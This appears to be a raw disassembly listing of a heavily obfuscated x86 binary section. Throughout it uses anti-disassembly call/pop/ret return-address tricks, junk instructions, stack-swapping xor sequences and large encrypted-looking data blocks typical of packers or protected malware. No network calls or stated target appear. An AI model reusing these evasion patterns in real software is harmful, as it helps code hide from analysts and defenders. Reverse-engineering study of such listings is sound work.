arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5A3EBF	endp

; ---------------------------------------------------------------------------
		align 10h
		test	[ebx-63EFBC4h],	al
		jle	loc_5A3EEB
		jmp	loc_5A3EEB
; ---------------------------------------------------------------------------
		db 66h,	0Eh, 0EBh
		dd 5E64CE7h
; ---------------------------------------------------------------------------
		stosb
		jz	short loc_5A3F36


loc_5A3EEB:				; CODE XREF: ud2_____:005A3ED6j
					; ud2_____:005A3EDCj
		push	dword ptr [ebp+5D11905h]
		push	0
		push	ebp
		call	sub_5A3EFC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3EFC	proc near		; CODE XREF: ud2_____:005A3EF4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5A3EFC	endp

; ---------------------------------------------------------------------------
		dd 3A10F24Dh, 4D1EA6ACh, 0FD9589DEh, 0FF05D130h, 0D1245995h
		dd 0A18D8905h, 9005D131h, 345678B8h, 52006A12h,	3E8h
		db 0, 20h
; ---------------------------------------------------------------------------


loc_5A3F36:				; CODE XREF: ud2_____:005A3EE9j
		pop	edx
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		push	ss
		or	ecx, [ebx-2EDDFE4Bh]
		add	eax, 8E9h
		add	ch, ah
		mov	ebx, 0C81B7861h
		retn	8D8Fh
; ---------------------------------------------------------------------------
		popf
		add	[ecx-816FA2Ch],	ah
		idiv	edi
		jmp	dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
		dw 0E6F6h
		dd 66C18B9Ah, 6D3CF81h,	4EBh, 85890000h, 5D12699h, 7E8FA8Bh
		dd 0B8000000h, 7E513FDDh, 8D5F29A9h, 0D1068D85h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD8B9C8Ah, 5D10695h, 0A8BE6650h, 2404891Fh,	2CBDB58Bh
		dd 6A05D1h, 22E78166h, 0E9006A81h, 0Dh,	0DCBA1AFAh, 0CAE837D3h
		dd 4EDFE28Ch, 0BD858DD9h, 6A05D4A2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B496C352h
		dd 66C8284Fh, 0C083FA8Bh, 11D68105h, 9070E275h,	5FF08B57h
		dd 0CEBE6650h, 6A9099h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 96CEC5C3h, 61D68B60h, 6A006Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D2C35040h, 0FC5F3EB7h
		dd 6B0B5B9Ah, 1B3995FFh, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0FB8B0CC3h, 0C246E524h
		dd 0E93FBFADh, 11h, 24CFC288h, 1B9A3C39h, 0A9126E22h, 0F8DAC255h
		dd 0CF9D8D1Ch, 0FF05D481h, 0C870FD3h, 0F000000h, 681h
		dd 2DBD8B00h, 0FF05D123h, 0D1271985h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 720E945h, 0E80000h, 5D000000h, 0A2C7ED81h, 6A05D4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF6651C3h, 0BD81DBEFh, 5D11905h, 7D0h, 10D860Fh, 85290000h
		dd 5D12739h, 0D359D8Bh,	6A05D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0E2F1EDC3h, 777C2BD2h
		dd 88C087BEh, 0E3817Dh,	60000001h, 117D8D01h, 0F5705D1h
		dd 84h,	0B615B00h, 7C850FDBh, 0E8000000h, 6, 973798C8h
		dd 835FE819h, 0D4A14EBDh, 840F0005h, 42h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 87C35646h, 4AE9079Ch
		dd 0F000000h, 1988h, 0FE800h, 1A830000h, 45048049h, 2E402438h
		dd 0AAA51868h, 0BCBF6614h, 85C75FFCh, 5D4A14Eh,	1, 9EDB58Bh
		dd 16E905D1h, 0F000000h, 685h, 99B52900h, 0C705D109h, 0D4A14E85h
		dd 5, 359D8D00h, 6A05D10Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D30DC350h,	10296676h
		dd 81B944CBh, 0FFFEFF23h, 51B523FFh, 6605D101h,	0EE9DB8Ch
		dd 0F8000000h, 3F97FD85h, 3265AB2Bh, 0B08EDF22h, 0C3F6F9A4h
		dd 3F840F04h, 0F000000h, 688h, 49B52900h, 0FF05D108h, 0D1268595h
		dd 90509005h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	9FC35040h, 9E9h, 0EAE7A900h, 3E20835h, 0A5E9580Dh
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 6A22C353h, 1CEC7F13h, 1E41BD8Bh
		dd 0B005D1h, 0E6F08B66h, 71958970h, 0E405D11Bh,	0AE971h
		dd 0D4600000h, 0B782B194h, 42AE4D6Eh, 81666060h, 314D5BCEh
		dd 0D125E985h, 61F96105h, 0BD8B60Fh, 0D10A89B5h, 6BA05h
		dd 0BD230000h, 5D12D79h, 0AE8C38Bh, 0D000000h, 3E61C90Ah
		dd 50DC7141h, 6921BFCFh, 0C15E0B0Ch, 6A04E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 118AFCC3h
		dd 0FDB529FAh, 6605D111h, 6AE2F7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0E9F5B7C3h, 12h, 140AE6FBh
		dd 25F0048Dh, 53FF100h,	135C2CB9h, 0D82B4F49h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EAC35545h, 8E80Fh
		dd 3EB20000h, 1EF29B2Ch, 0BD8B57E1h, 5D115C9h, 0BE50935Fh
		dd 1EE58FA2h, 12E86093h, 17000000h, 1679177Eh, 0C5957259h
		dd 1E43B6D1h, 60245840h, 0D6BF0F1Dh, 79C9BF5Eh,	0FF611213h
		dd 0D11905B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 1BD8B77h, 0FF05D125h
		dd 0D1245995h, 3DBD8B05h, 0B005D110h, 0FEBF0F00h, 8B6670E6h
		dd 6A71E4F0h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2232C357h, 9F88B66h, 0D114B1BDh
		dd 0F613C05h, 1FB83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 2B64C947h, 0D11255BDh
		dd 0D8B60F05h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	8FC35242h, 0BAF08B9Ch, 6, 8BF0B70Fh, 58F0FC3h
		dd 66000000h, 0C617CE81h, 6A04E8C1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 2917C352h
		dd 0DD507A17h, 0E2F76687h, 624FBE66h, 0B589D82Bh, 5D115D5h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F0025F0h, 58Ch,	0CE816600h, 0D82B5280h
		dd 13A880Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 463163C3h, 0B1B523D6h, 0B905D113h
		dd 7, 0BD895E51h, 5D124F5h, 6A00C183h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C100C353h
		dd 0D51E7EECh, 8166D822h, 8BCD78C7h, 0FD93BF8h,	0D386h
		dd 0ED8D2900h, 6605D11Dh, 0EE9D98Ch, 0FD000000h, 92A510A3h
		dd 311641DDh, 948D24A3h, 25BD8B88h, 0F605D106h,	840F04C1h
		dd 0A1h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	50C35242h, 0DA82D2E3h, 69F3D338h, 268595FFh, 0F78B05D1h
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6DBE66A8h, 0FC32BD2h, 684h, 15858900h, 3D05D115h
		dd 834h, 3B860Fh, 890F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5A463C
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5A4610
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4610	proc near		; CODE XREF: ud2_____:005A4608p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5A4610	endp

; ---------------------------------------------------------------------------
		dd 0FE93Ah, 5E450000h, 0F4E17DC9h, 5F12DCABh, 254BCE60h
		dd 0BEC08B09h, 374C94C3h
; ---------------------------------------------------------------------------


loc_5A463C:				; CODE XREF: ud2_____:005A4600j
		mov	eax, ebx
		mov	ebx, eax
		mov	[ebp+5D10695h],	eax
		mov	dword ptr [ebp+5D12D45h], 3733FF33h
		push	0
		push	ecx
		call	sub_5A465B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A465B	proc near		; CODE XREF: ud2_____:005A4653p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5A465B	endp

; ---------------------------------------------------------------------------
		fucomi	st, st(4)
		mov	eax, 22CB8ABEh
		add	eax, 9D29C08Bh
		dec	ecx
		and	edx, ecx
		add	eax, 57E68166h
		sub	eax, 1905BD81h
		rol	large dword ptr	ds:7D0h, 1
		jnz	loc_5A469C
		inc	dword ptr [ebp+5D11905h]
		mov	esi, [ebp+5D121EDh]


loc_5A469C:				; CODE XREF: ud2_____:005A468Aj
		push	dword ptr [ebp+5D11905h]
		jmp	loc_5A46AE
; ---------------------------------------------------------------------------
		push	86C80F5Ch
		push	ss
		cwde


loc_5A46AE:				; CODE XREF: ud2_____:005A46A2j
		jp	loc_5A46B9
		mov	edi, 24636BAFh


loc_5A46B9:				; CODE XREF: ud2_____:loc_5A46AEj
		call	dword ptr [ebp+5D12459h]
		nop
		push	0
		push	eax
		call	sub_5A46CB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A46CB	proc near		; CODE XREF: ud2_____:005A46C3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5A46CB	endp

; ---------------------------------------------------------------------------
		db 0D5h
		dd 50A1A8FCh, 635D579Ah, 6AF78Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 810F0EC3h, 0Ch, 30CD8529h
		dd 0B58B05D1h, 5D106C5h, 7A338EBEh, 57006A68h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 405E2A34h
		dd 31E23F98h, 0D1252185h, 3DBD2B05h, 6A05D122h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0A8BFC353h, 7F800A2Ah, 0E81455F3h, 0Fh, 0DA047F3Bh
		dd 0D6F77B6Ah, 14ACF015h, 5F1AF25Fh, 68D0Fh, 0BD8B0000h
		dd 5D1201Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	5C35343h, 781C4BB7h, 0E81F288Ch, 14h, 0A397B143h
		dd 0A3B296F2h, 1F3959DFh, 668991E9h, 2177A38Ah,	12E8h
		dd 9554E100h, 9BFB40F7h, 0FB683753h, 85F74023h,	0E8CD8E12h
		dd 9, 0EE546464h, 0C8EA1002h, 8B5F5E1Bh, 0D1192DBDh, 0EF815F05h
		dd 24136C6Ch, 0C468AEBFh, 0F8E4E976h, 0BE66FFFFh, 0C18BC98Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EC35545h
		dd 0B4B7E8BAh, 23003E3Eh, 0D106DDBDh, 4EB05h, 9000000h
		dd 0D11D35BDh, 75BD8905h, 6005D121h, 19F5BD89h,	858905D1h
		dd 5D12FE1h, 8D858D61h,	5305D106h, 15918D89h, 905E05D1h
		dd 0FE8B6650h, 55006A90h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 7D95BAADh, 0BD588FD5h
		dd 0F0BF0F51h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5EDCC357h, 457ED5C2h
		dd 6F2C925Ah, 69FABE66h, 12840Fh, 0DE90000h, 40000000h
		dd 6132EA92h, 616A2851h, 0C6FA3C99h, 0D681006Ah, 7D94D6C5h
		dd 0AC68858Dh, 6A05D4h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 579B2FC3h, 12E2B1F4h, 13E915h, 0F740000h
		dd 4D4E0BD0h, 8112B68Eh, 0D2CF60E6h, 5360BAD6h,	13E92Ah
		dd 88400000h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h,	9FB6057Ah
		dd 4820FDDh, 66000000h,	8310EEBFh, 6A05C0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 749303C3h
		dd 90F38B66h, 1B880Fh, 0E9570000h, 14h,	0F39DBFDBh, 8C7609F3h
		dd 2F6C0AEEh, 21D045ACh, 86A0161Eh, 0FA8B505Fh,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0F781D52Fh, 51B639E2h, 58A0F60h, 0BF000000h,	9FB3E1Eh
		dd 0E8006A61h, 0Fh, 0A94557F2h,	31C62586h, 0D7C4E7F3h
		dd 6665A665h, 5F1282BFh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0C8157EC3h, 0B9B9188Ch
		dd 0F23CCE8h, 95FFF8B7h, 5D11B39h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FBC35040h,	0C487BE66h, 12E9h
		dd 0E3A09900h, 0DE7A4D62h, 424068A6h, 6A8AE709h, 8D47214Bh
		dd 0D481CF9Dh, 20BABF05h, 6E95A75h, 4B000000h, 90D9AE6h
		dd 66D3FF98h, 0FE8BF28Bh, 271985FFh, 6A05D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 2C98B7C3h
		dd 0DDF5872Dh, 324D9589h, 8C0F05D1h, 4,	0EB78BE66h, 7FDE9h
		dd 0E800h, 815D0000h, 0D4AC72EDh, 65B58B05h, 8105D126h
		dd 0D11905BDh, 7D005h, 12860F00h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0AB24C350h, 0ED89762Ch, 192DBD8Bh, 9D8B05D1h, 5D10155h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C8C35040h
		dd 668483CCh, 8190CFBEh, 100E3h, 0F9B70F00h, 850FDB0Bh
		dd 5Dh,	1879B58Bh, 0FBBF05D1h, 8355CB9Fh, 0D4AA0FBDh, 840F0005h
		dd 2Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 0DC35646h, 71FFB7E9h, 0CD6F04B2h, 4EE9h, 85C7FC00h
		dd 5D4AA0Fh, 1,	2F19D89h, 38E905D1h, 89000000h,	0D1230195h
		dd 0F85C705h, 5D4AAh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0B00EC356h,	14447824h
		dd 66FE8B66h, 8D4C49BEh, 0D101559Dh, 15BD8905h,	8905D126h
		dd 0D106D595h, 0FF238105h, 66FFFFFEh, 89B28DBEh, 0D117FD8Dh
		dd 0DB8C6605h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	28C35343h, 9FC8CE1Fh, 5E98A9FFh, 0CF816653h, 0F65E7573h
		dd 840F04C3h, 57h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0A5C35646h, 175F1FFFh, 0F696F20h, 95FFF1B7h
		dd 5D12685h, 8E0F50h, 89000000h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E83FDEC3h
		dd 0E9863A02h, 3D1h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E623C4C3h, 0FDBD8970h
		dd 0E405D11Ch, 5E871h, 19560000h, 89DE2359h, 0D10D8995h
		dd 0B60F5E05h, 52006AD8h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B06692Ch, 0D11385B5h
		dd 6BA05h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0E35500C3h, 2B636DC1h, 0F9530A6Fh
		dd 14BD8589h, 0C38B05D1h, 1451B58Bh, 0E8C105D1h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 2497DC9Eh, 8529F601h, 5D10305h, 2D498D31h, 0F76605D1h
		dd 6AD82BE2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0B651C352h, 21C14FC3h,	13F1BD29h
		dd 0E95005D1h, 0Fh, 0C12E0BF0h,	8E9AA192h, 0CE921CC5h
		dd 89409E25h, 6A241Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0D82C35C3h, 0FFF98F23h, 0D11905B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 47968122h, 5995FF4Fh, 0B005D124h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FAAFC0Fh, 285h, 0E9F78B00h,	9, 60143F7Ah, 4136CC6Dh
		dd 8D8960B9h, 5D1327Dh,	0EB390BEh, 70E66130h, 199DB523h
		dd 71E405D1h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	44C35040h, 0E3EA4DD2h, 33D9BF66h, 0C58D89h, 613C05D1h
		dd 1F7830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0C277AEC3h, 9E1B58Bh, 0B60F05D1h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 62431AFDh, 6623B7EDh, 6BAF28Bh, 60000000h
		dd 60F18B66h, 0BE41B866h, 0D6DB589h, 616105D1h,	7E9C38Bh
		dd 0C8000000h, 4E99F303h, 0E8C14F33h, 49BD8B04h, 6605D102h
		dd 9D01E2F7h, 5D10ED5h,	6AD82Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0A1F77CC3h, 97EE8105h
		dd 585A073Eh, 8F0FF88Bh, 2, 0D82BFA8Bh,	13B880Fh, 85890000h
		dd 5D12D91h, 2840Fh, 0F98B0000h, 7B9h, 0D9B58B00h, 8305D105h
		dd 8B6600C1h, 0FD93BF8h, 11486h, 59BD8B00h, 6605D130h
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 6CD88FC3h, 0BE2F78D5h, 3D8E5837h,	1E719D29h
		dd 0F6F905D1h, 840F04C1h, 0ACh,	8595FFF8h, 6A05D126h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 8335C356h, 829AADFFh, 0CF400BD2h, 59BD8B51h,	5E05D100h
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 7FEDFAADh, 2BF08B66h, 0FABF0FC3h, 8343Dh
		dd 45860F00h, 0BF000000h, 3BDCA802h, 10E9h, 0B60C9000h
		dd 0A02E48D0h, 2444882Eh, 9ACDEB5Ch, 4FE9A2h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F0CC8C3h, 38Ah, 0F28B6600h,	6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F08075C3h
		dd 0F2EF1E1h, 80h, 8BC38B00h, 0B19D89D8h, 0C705D131h, 0D10D3585h
		dd 0EA855705h, 52006A38h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 3ED0DCF1h, 666002A2h
		dd 1BD2BBAh, 0D11AD985h, 0C08B6105h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 82C35141h, 0A5FED7F7h, 0E5BD8B70h
		dd 8B05D115h, 0D108E5BDh, 0CE905h, 0C3A70000h, 2614354Eh
		dd 83157B80h, 0BD81B31Fh, 5D11905h, 7D0h, 38850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 5817C7C3h, 0BD8B6775h, 5D12371h, 190585FFh, 953105D1h
		dd 5D11D35h, 1D69B533h,	0B5FF05D1h, 5D11905h, 6840F60h
		dd 89000000h, 0D119F5B5h, 95FF6105h, 5D12459h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 13199589h
		dd 6A9005D1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 66DEC355h, 0C4C681h, 311BD29h
		dd 0B58B05D1h, 5D11ABDh, 3019BD31h, 0BF0F05D1h,	0B7BE66F6h
		dd 0D5BD89DCh, 6A05D119h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0A4A2C355h,	299FA25Dh
		dd 0EE61BE2Fh, 0BD0B0966h, 5D121E5h, 462EBF66h,	13E8h
		dd 5387EB00h, 0E418F163h, 3E8E456Ah, 0F31BD150h, 34C47631h
		dd 0E1E78166h, 0B99589EAh, 5F05D116h, 0BEFBCF81h, 6A0414h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 2C8457C3h, 8F978D79h, 52006A0Ah, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 820FF895h, 0Fh, 0AE9h
		dd 17A6E700h, 233D7231h, 6ADD6622h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F0C3C352h
		dd 8D31D96Ah, 5D10FC5h,	0A998531h, 5E5305D1h, 0FFF840E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0E95674D8h, 0Bh,	0D38DFD4Bh, 1B5C34F6h
		dd 8BA55B9Ch, 0B58B5FF9h, 5D11C31h, 1449BD8Bh, 4EB05D1h
		dd 231600C9h, 4ACE9h, 0B3C83000h, 48E31D78h, 60F9046Fh
		dd 7E136C47h, 102D56BDh, 0CF7F2C97h, 35009BB6h,	1279B2C9h
		dd 7E5556E7h, 30B06B04h, 0D1415271h, 11C666D9h,	2C3F451Bh
		dd 8DA0E540h, 0A6B9C32Ah, 0C7303FCEh, 7F20BAAAh, 0B1BDCE34h
		dd 0AD992A54h, 46BF4D4Ah, 4DF5F9AFh, 0F75AC7Bh,	2950BB7Ch
		dd 45BC9710h, 0A2813834h, 0ABA8E759h, 2C6CAE77h, 8C97487Eh
		dd 0BA0BDB70h, 0C138F92Ch, 0DE240FA8h, 0F4E4A14Dh, 246CAE77h
		dd 3E509352h, 3B514E17h, 71h, 0DA758F62h, 85AF500Ah, 5D2C3F45h
		dd 8516078Ah, 0E3B16CAEh, 6A693430h, 5A6CAE85h,	0C8E61DC8h
		dd 0AD514E0Ah, 1, 5F3B4541h, 0A0591524h, 0AE84F0EDh, 17C5976Ch
		dd 854E4F42h, 9BC96CAEh, 0E21CF9F5h, 0DAE9B849h, 6CAE84B9h
		dd 1BD60C5Eh, 0A4FCB186h, 0AB3B95Ah, 0A14DDC27h, 0E41D183Bh
		dd 8BFDA549h, 0BF5BA55Ch, 0A3042A45h, 9E193248h, 2D4045B6h
		dd 49B5B841h, 84A1B211h, 74266CAEh, 0ACB71846h,	2AAD2C41h
		dd 0BBD42209h, 73B204ABh, 0F33449B2h, 7D9E35C4h, 1A6CADA3h
		dd 839AE548h, 0DF4679E3h, 7FDA8AA5h, 3C856900h,	6BC65B8Ah
		dd 0E872720Dh, 7B7E8DB2h, 791A2FC8h, 4E4CAE30h,	776B51h
		dd 198F0000h, 0BC3BE6FDh, 0AD565506h, 0CE07D86h, 0AF47D621h
		dd 0AF668107h, 95E03B56h, 0D60CDD70h, 0B77F6751h, 94500376h
		dd 313D50A9h, 94EEAAD4h, 4371EBFBh, 33D46A3h, 0AE678F8Ch
		dd 0B45A086Ch, 77AE18B8h, 0A77EC8C1h, 4E29626Ch, 612751h
		dd 0D7660000h, 0AE71DBF8h, 752E7C6Ch, 2D40452Fh, 8C9DE441h
		dd 63FA05E0h, 0C25BA683h, 10D75322h, 68BF0BAEh,	0FE3954A9h
		dd 203B4596h, 8551414Ch, 225B6CAEh, 0A895A687h,	88BEBC06h
		dd 6D0079E4h, 0C8D5F881h, 4F6CAE80h, 0BD685A1Dh, 81687558h
		dd 0BDEF6CAEh, 0FB2ABC8Fh, 4E0EA638h, 18351h, 45A70000h
		dd 0E643233Ah, 92E3839Ch, 0E510D114h, 0C9245354h, 0D4F89BB2h
		dd 5C73067Ch, 727F9024h, 51422852h, 0B92A63FAh,	8C603286h
		dd 0E7C05BA1h, 9E5768Ch, 7F948D8Ch, 0C057A772h,	0A0BBC12Ch
		dd 9C4BDBCCh, 0F433871Ah, 73B4C73Dh, 0A549E218h, 452942B8h
		dd 0CC052092h, 2902A5B6h, 4B7CFA95h, 0D069909Fh, 0DF954E1Ch
		dd 10Ah, 0EC0A1953h, 0B4B8D12Ch, 0BD5F0036h, 0B71AEFE3h
		dd 727F9A7Bh, 0E8BB4E1Ch, 7F9AB8A5h, 0F2E3AE72h, 95727F9Ah
		dd 0EE91C3C7h, 4EE11B06h, 0A9D75A6Dh, 530CDE96h, 0D599B2C8h
		dd 75791268h, 0FC35F0C2h, 0FEE4F586h, 0AE903ACCh, 8C2DD674h
		dd 7CB40BA3h, 51E84Bh, 190C0000h, 4F87EAFDh, 7FD1B36h
		dd 682CD7EAh, 0E5A8B935h, 6CAD9348h, 0B5C4333Eh, 15265CB9h
		dd 0E5CBC67h, 933A5B66h, 78CA6CADh, 4A481DADh, 6E25F487h
		dd 6CAD936Dh, 3C87B8EAh, 6CAD936Fh, 5661BAE8h, 930B0887h
		dd 0DE8C6CADh, 648225h,	2CAE0000h, 846B7E74h, 2A3DE67Bh
		dd 7F982B67h, 0F6FEAC72h, 5D5EF10Bh, 73730C76h,	7F992036h
		dd 0F5308672h, 72B5C63Ch, 0C9981672h, 1965E9ADh, 3DE657D0h
		dd 0C3DE672Ah, 2B797854h, 92ADCB26h, 0E41EFBE1h, 9B2A9B4Bh
		dd 64C62263h, 732C43ECh, 7CD474B3h, 87FC7306h, 0BF60FAEAh
		dd 1D60E5A8h, 0B5E77E2Ah, 742C1A72h, 9F246B7Eh,	38728339h
		dd 659F7A6Ah, 80FAD1CAh, 1C4607EFh, 0C586F67Eh,	0B510C3AFh
		dd 9945C62Bh, 0DFF28544h, 9945C5BEh, 18ED0B59h,	932A4EEFh
		dd 82A5651Eh, 4AE7101Fh, 141FC09Ah, 735A5DEEh, 937E7609h
		dd 3E1BCB66h, 5AC7AFC0h, 77660E1Fh, 0C7D26483h,	176DA443h
		dd 876F027Bh, 0CF2237E5h, 36E798AFh, 0DA8AA5DFh, 1483h
		dd 0A19AD00h, 473CD6EFh, 0AE5D8650h, 3F76F4F8h,	0E388ABC6h
		dd 2E3D4501h, 8EA1DB46h, 69007BE6h, 0CF5C9885h,	0ACC13A27h
		dd 0D2065C0h, 0E67B8461h, 45D4230Eh, 19324CA9h
		db 55h,	0B2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	0C801878h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 1F1F5688h
		xor	ecx, 2E4BDB75h
		mov	edi, ecx
		pop	ecx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, edi
		mov	[esi+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dw 48A8h
